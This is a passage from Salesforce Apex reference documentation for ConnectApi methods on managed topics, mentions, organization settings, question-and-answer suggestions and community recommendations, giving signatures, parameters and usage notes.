Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
ConnectApi.ManagedTopicType managedTopicType, Integer depth)
1308
ManagedTopics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specifies the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
depth
Type: Integer
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isn’t specified, it defaults to 1.
Return Value
Type: ConnectApi.ManagedTopicCollection
getManagedTopics(communityId, managedTopicType, recordId, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given topic
in a community.
API Version
35.0–37.0
Important: In version 38.0 and later, use getManagedTopics(communityId, managedTopicType, recordIds,
depth).
Available to Guest Users
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
ConnectApi.ManagedTopicType managedTopicType, String recordId, Integer depth)
1309
ManagedTopics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specifies the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
recordId
Type: String
ID of the topic associated with the managed topics.
depth
Type: Integer
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isn’t specified, it defaults to 1.
Return Value
Type: ConnectApi.ManagedTopicCollection
getManagedTopics(communityId, managedTopicType, recordIds, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with topics in a
community.
API Version
38.0
Available to Guest Users
38.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
ConnectApi.ManagedTopicType managedTopicType, List<String> recordIds, Integer depth)
1310
ManagedTopics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specifies the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
recordIds
Type: List<String>
A list of up to 100 topic IDs associated with the managed topics.
If you list more than 10 topic IDs, you can’t specify 2 or 3 for depth.
depth
Type: Integer
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isn’t specified, it defaults to 1.
Return Value
Type: ConnectApi.ManagedTopicCollection
reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection reorderManagedTopics(String communityId,
ConnectApi.ManagedTopicPositionCollectionInput managedTopicPositionCollection)
1311
ManagedTopics ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicPositionCollection
Type: ConnectApi.ManagedTopicPositionCollectionInput
A collection of relative positions of managed topics. This collection can include Featured and Navigational managed
topics and doesn’t have to include all managed topics.
Return Value
Type: ConnectApi.ManagedTopicCollection
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can reorder managed
topics.
You can reorder parent managed topics or children managed topics with the same parent. If you don’t include all managed topics in
the ConnectApi.ManagedTopicPositionCollectionInput, the managed topics are reordered by respecting the
positions indicated in the ConnectApi.ManagedTopicPositionCollectionInput and then by pushing down any
managed topics that aren’t included in the ConnectApi.ManagedTopicPositionCollectionInput to the next available
position.
Example
If you have these managed topics:
PositionManaged Topic
0ManagedTopicA
1ManagedTopicB
2ManagedTopicC
3ManagedTopicD
4ManagedTopicE
And you reorder managed topics by including this information in ConnectApi.ManagedTopicPositionCollectionInput:
PositionManaged Topic
0ManagedTopicD
2ManagedTopicE
The result is:
1312
ManagedTopics ClassReference
PositionManaged Topic
0ManagedTopicD
1ManagedTopicA
2ManagedTopicE
3ManagedTopicB
4ManagedTopicC
Mentions Class
Access information about mentions. A mention is an “@” character followed by a user or group name. When a user or group is mentioned,
they receive a notification.
Namespace
ConnectApi
Mentions Methods
The following are methods for Mentions. All methods are static.
IN THIS SECTION:
getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an “@” character
followed by a user or group name. When a user or group is mentioned, they receive a notification.
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention
is an “@” character followed by a user or group name. When a user or group is mentioned, they receive a notification.
getMentionValidations(communityId, parentId, recordIds, visibility)
Information about whether the specified mentions are valid for the context user.
getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an “@” character
followed by a user or group name. When a user or group is mentioned, they receive a notification.
API Version
29.0
Requires Chatter
Yes
1313
Mentions ClassReference
Signature
public static ConnectApi.MentionCompletionPage getMentionCompletions (String communityId,
String q, String contextId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
Return Value
Type: ConnectApi.MentionCompletionPage
Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, result)
Testing ConnectApi Code
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention is an
“@” character followed by a user or group name. When a user or group is mentioned, they receive a notification.
API Version
29.0
Requires Chatter
Yes
1314
Mentions ClassReference
Signature
public static ConnectApi.Mentions getMentionCompletions (String communityId, String q,
String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
type
Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
•All—All mention completions, regardless of the type of record to which the mention refers.
•Group—Mention completions for groups.
•User—Mention completions for users.
pageParam
Type: String
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: String
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.MentionCompletionPage
Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.
1315
Mentions ClassReference
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)
Testing ConnectApi Code
getMentionValidations(communityId, parentId, recordIds, visibility)
Information about whether the specified mentions are valid for the context user.
API Version
29.0
Requires Chatter
Yes
Signature
public static ConnectApi.Mentions getMentionValidations(String communityId, String
parentId, List<String> recordIds, ConnectApi.FeedItemVisibilityType visibility)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
parentId
Type: String
The feed item parent ID (for new feed items) or feed item ID (for comments).
recordIds
Type: List<String>
A comma separated list of IDs to be mentioned. The maximum value is 25.
visibility
Type: ConnectApi.FeedItemVisibilityType
Specifies the type of users who can see a feed item.
•AllUsers—Visibility is not limited to internal users.
•InternalUsers—Visibility is limited to internal users.
Return Value
Type: ConnectApi.MentionValidations
1316
Mentions ClassReference
Usage
Call this method to check whether the record IDs returned from a call to ConnectApi.Mentions.getMentionCompletions
are valid for the context user. For example, the context user can’t mention private groups he doesn’t belong to. If such a group were
included in the list of mention validations, the ConnectApi.MentionValidations.hasErrors property would be true
and the group would have a ConnectApi.MentionValidation.valdiationStatus of Disallowed.
Mentions Test Methods
The following are the test methods for Mentions. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetMentionCompletions(communityId, q, contextId, result)
Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String,String) is called in a test context.
API Version
29.0
Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
result
Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.
1317
Mentions ClassReference
Return Value
Type: Void
SEE ALSO:
getMentionCompletions(communityId, q, contextId)
Testing ConnectApi Code
setTestGetMentionCompletions(communityId, q, contextId, type, pageParam,
pageSize, result)
Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String,String, ConnectApi.MentionCompletionType, Integer,Integer) is called in a test context.
API Version
29.0
Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize,
ConnectApi.MentionCompletionPage result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId
Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
type
Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
•All—All mention completions, regardless of the type of record to which the mention refers.
•Group—Mention completions for groups.
•User—Mention completions for users.
pageParam
Type: String
1318
Mentions ClassReference
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: String
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result
Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.
Return Value
Type: Void
SEE ALSO:
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Testing ConnectApi Code
Organization Class
Access information about an organization.
Namespace
ConnectApi
This is the static method of the Organization class:
Organization Methods
The following are methods for Organization. All methods are static.
IN THIS SECTION:
getSettings()
Returns information about the organization and context user, including which features are enabled.
getSettings()
Returns information about the organization and context user, including which features are enabled.
API Version
28.0
Requires Chatter
No
1319
Organization ClassReference
Signature
public static ConnectApi. OrganizationSettings getSettings()
Return Value
Type: ConnectApi.OrganizationSettings
QuestionAndAnswers Class
Access question and answers suggestions.
Namespace
ConnectApi
IN THIS SECTION:
QuestionAndAnswers Methods
QuestionAndAnswers Methods
The following are methods for QuestionAndAnswers. All methods are static.
IN THIS SECTION:
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Returns question and answers suggestions.
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is
called with matching parameters in a test context. You must use the method with the same parameters or the code throws an
exception.
updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)
Choose or change the best answer for a question.
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Returns question and answers suggestions.
API Version
32.0
Requires Chatter
No
1320
QuestionAndAnswers ClassReference
Signature
public static ConnectApi.QuestionAndAnswersSuggestions getSuggestions(String communityId,
String q, String subjectId, Boolean includeArticles, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
subjectId
Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles
Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.
Return Value
Type: ConnectApi.QuestionAndAnswersSuggestions
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Testing ConnectApi Code
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults,
result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is called
with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.
API Version
32.0
1321
QuestionAndAnswers ClassReference
Signature
public static Void setTestGetSuggestions(String communityId, String q, String subjectId,
Boolean includeArticles, Integer maxResults, ConnectApi.QuestionAndAnswersSuggestions
result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
subjectId
Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles
Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults
Type: Integer
The maximum number of results to return for each type of item. Possible values are 1–10. The default value is 5.
result
Type: ConnectApi.QuestionAndAnswersSuggestions
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Testing ConnectApi Code
updateQuestionAndAnswers(communityId, feedElementId,
questionAndAnswersCapability)
Choose or change the best answer for a question.
API Version
32.0
1322
QuestionAndAnswers ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.QuestionAndAnswersCapability updateQuestionAndAnswers(String
communityId, String feedElementId, ConnectApi.QuestionAndAnswersCapabilityInput
questionAndAnswersCapability)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedElementId
Type: String
The ID for a feed element.
questionAndAnswersCapability
Type: ConnectApi.QuestionAndAnswersCapabilityInput
Specify the best answer (comment ID) for the question.
Return Value
Type: ConnectApi.QuestionAndAnswersCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Example
ConnectApi.QuestionAndAnswersCapabilityInput qaInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
qaInput.bestAnswerId = '0D7D00000000lMAKAY';
ConnectApi.QuestionAndAnswersCapability qa =
ConnectApi.QuestionAndAnswers.updateQuestionAndAnswers(null,'0D5D0000000XZjJ', qaInput);
Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.
Namespace
ConnectApi
Recommendations Methods
The following are methods for Recommendations. All methods are static.
1323
Recommendations ClassReference
IN THIS SECTION:
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.
createRecommendationAudience(communityId, name)
Create an audience for a recommendation.
createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.
createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
Create a recommendation definition with the specified parameters.
createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)
Create a scheduled recommendation with the specified parameters.
deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.
deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.
deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.
deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)
Delete a scheduled recommendation.
getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)
Get a page of recommendation audience members.
getRecommendationAudiences(communityId)
Get recommendation audiences.
getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.
getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.
getRecommendationDefinitions(communityId)
Get recommendation definitions.
1324
Recommendations ClassReference
getRecommendationForUser(communityId, userId, action, objectId)
Returns the recommendation for the context user for the specified action and object ID.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action.
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action and object category.
getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.
getScheduledRecommendations(communityId)
Get scheduled recommendations.
getScheduledRecommendations(communityId, channel)
Get scheduled recommendations.
rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.
rejectRecommendationForUser(communityId, userId, action, objectEnum)
Rejects the static recommendation for the context user.
updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
Update a recommendation audience.
updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.
updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a recommendation definition.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)
Update a recommendation definition photo with a file that’s already uploaded.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
Update a recommendation definition photo with a file that’s been uploaded but requires cropping.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled recommendation.
1325
Recommendations ClassReference
updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)
Update a scheduled recommendation with the specified parameters.
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, ConnectApi.RecommendationAudienceInput recommendationAudience)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object.
Return Value
Type: ConnectApi.RecommendationAudience
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
createRecommendationAudience(communityId, name)
Create an audience for a recommendation.
API Version
35.0
1326
Recommendations ClassReference
Requires Chatter
No
Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, String name)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
name
Type: String
The name of the audience.
Return Value
Type: ConnectApi.RecommendationAudience
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1327
Recommendations ClassReference
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput
A ConnectApi.RecommendationDefinitionInput object.
Return Value
Type: ConnectApi.RecommendationDefinition
Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch
videos, take training and more.
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
These recommendations appear by default on the Customer Service (Napili) template. Specifically, on the community home and question
detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere community managers
add recommendations using Community Builder in communities using the Summer ’15 or later version of the Customer Service (Napili)
template.
createRecommendationDefinition(communityId, name, title, actionUrl,
actionUrlName, explanation)
Create a recommendation definition with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, String name, String title, String actionUrl, String actionUrlName, String
explanation)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
name
Type: String
The name of the recommendation definition. The name is displayed in Setup.
1328
Recommendations ClassReference
title
Type: String
The title of the recommendation definition.
actionUrl
Type: String
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName
Type: String
The text label for the action URL in the user interface, for example, “Launch.”
explanation
Type: String
The explanation, or body, of the recommendation.
Return Value
Type: ConnectApi.RecommendationDefinition
Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch
videos, take training and more.
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
These recommendations appear by default on the Customer Service (Napili) template. Specifically, on the community home and question
detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere community managers
add recommendations using Community Builder in communities using the Summer ’15 or later version of the Customer Service (Napili)
template.
createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)
1329
Recommendations ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput
A ConnectApi.ScheduledRecommendationInput object.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank,
enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.
API Version
35.0 only
Important: In version 36.0 and later, use createScheduledRecommendation(communityId,
recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel).
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String
recommendationAudienceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
1330
Recommendations ClassReference
rank
Type: Integer
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.
Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position
specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of
the scheduled recommendation is the size of the list, instead of the one specified.
If a rank is not specified, the scheduled recommendation is put at the end of the list.
enabled
Type: Boolean
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false,
recommendations in feeds in the Salesforce1 mobile browser app aren’t removed, but no new recommendations appear. In
communities using the Summer ’15 or later version of the Customer Service (Napili) template, disabled recommendations no longer
appear.
recommendationAudienceId
Type: String
ID of the recommendation definition that this scheduled recommendation schedules.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
RankScheduled Recommendations
1ScheduledRecommendationA
2ScheduledRecommendationB
3ScheduledRecommendationC
And you include this information in the Scheduled Recommendation Input:
RankScheduled Recommendation
2ScheduledRecommendationD
1331
Recommendations ClassReference
The result is:
RankScheduled Recommendation
1ScheduledRecommendationA
2ScheduledRecommendationD
3ScheduledRecommendationB
4ScheduledRecommendationC
createScheduledRecommendation(communityId, recommendationDefinitionId, rank,
enabled, recommendationAudienceId, channel)
Create a scheduled recommendation with the specified parameters.
API Version
36.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String
recommendationAudienceId, ConnectApi.RecommendationChannel channel)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId
Type: String
ID of the recommendation definition.
rank
Type: Integer
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.
Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position
specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of
the scheduled recommendation is the size of the list, instead of the one specified.
If a rank is not specified, the scheduled recommendation is put at the end of the list.
1332
Recommendations ClassReference
enabled
Type: Boolean
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false,
recommendations in feeds in the Salesforce1 mobile browser app aren’t removed, but no new recommendations appear. In
communities using the Summer ’15 or later version of the Customer Service (Napili) template, disabled recommendations no longer
appear.
recommendationAudienceId
Type: String
ID of the recommendation definition that this scheduled recommendation schedules.
channel
Type: ConnectApi.RecommendationChannel
Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
•CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
•CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
•DefaultChannel—Default recommendation channel. Recommendations appear by default on the Customer Service
(Napili) community home and question detail pages and in the feed in communities in the Salesforce1 mobile browser app.
They also appear anywhere community managers add recommendations using Community Builder in communities using the
Summer ’15 or later version of the Customer Service (Napili) template.
Use these channel values; you can’t rename or create other channels.
Return Value
Type: ConnectApi.ScheduledRecommendation
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
RankScheduled Recommendations
1ScheduledRecommendationA
2ScheduledRecommendationB
1333
Recommendations ClassReference
RankScheduled Recommendations
3ScheduledRecommendationC
And you include this information in the Scheduled Recommendation Input:
RankScheduled Recommendation
2ScheduledRecommendationD
The result is:
RankScheduled Recommendation
1ScheduledRecommendationA
2ScheduledRecommendationD
3ScheduledRecommendationB
4ScheduledRecommendationC
deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.
API Version
35.0
Requires Chatter
No
Signature
public static Void deleteRecommendationAudience(String communityId, String
recommendationAudienceId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId
Type: String
ID of the recommendation audience.
1334
Recommendations ClassReference
Return Value
Type: Void
Usage
Community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can access, create, and
delete audiences, definitions, and schedules for community recommendations. Users with the “Modify All Data” permission can also
access, create, and delete recommendation audiences, recommendation definitions, and scheduled recommendations.
deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.
API Version
